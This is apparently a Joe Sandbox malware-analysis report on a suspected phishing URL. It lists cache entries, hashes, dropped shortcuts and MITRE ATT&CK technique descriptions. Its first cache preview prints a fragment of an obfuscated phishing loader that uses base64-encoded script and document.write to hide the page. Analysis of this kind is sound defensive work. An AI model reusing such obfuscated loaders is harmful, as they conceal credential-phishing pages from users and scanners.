Preview:	Success is not the key to happiness. Happiness is the key to success. -->....<script>....if(atob("aHR0cHM6Ly9EbWsuZXJiaXJraW5hcmluZi5ydS91ZlBsVE8yWS8=") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICN

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Static File Info

⊘No static file info

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://zfrmz.com/hu0ngo1Ul357L1ChjHxW

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 119

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 99

Static File Info

Windows Analysis Report
https://zfrmz.com/hu0ngo1Ul357L1ChjHxW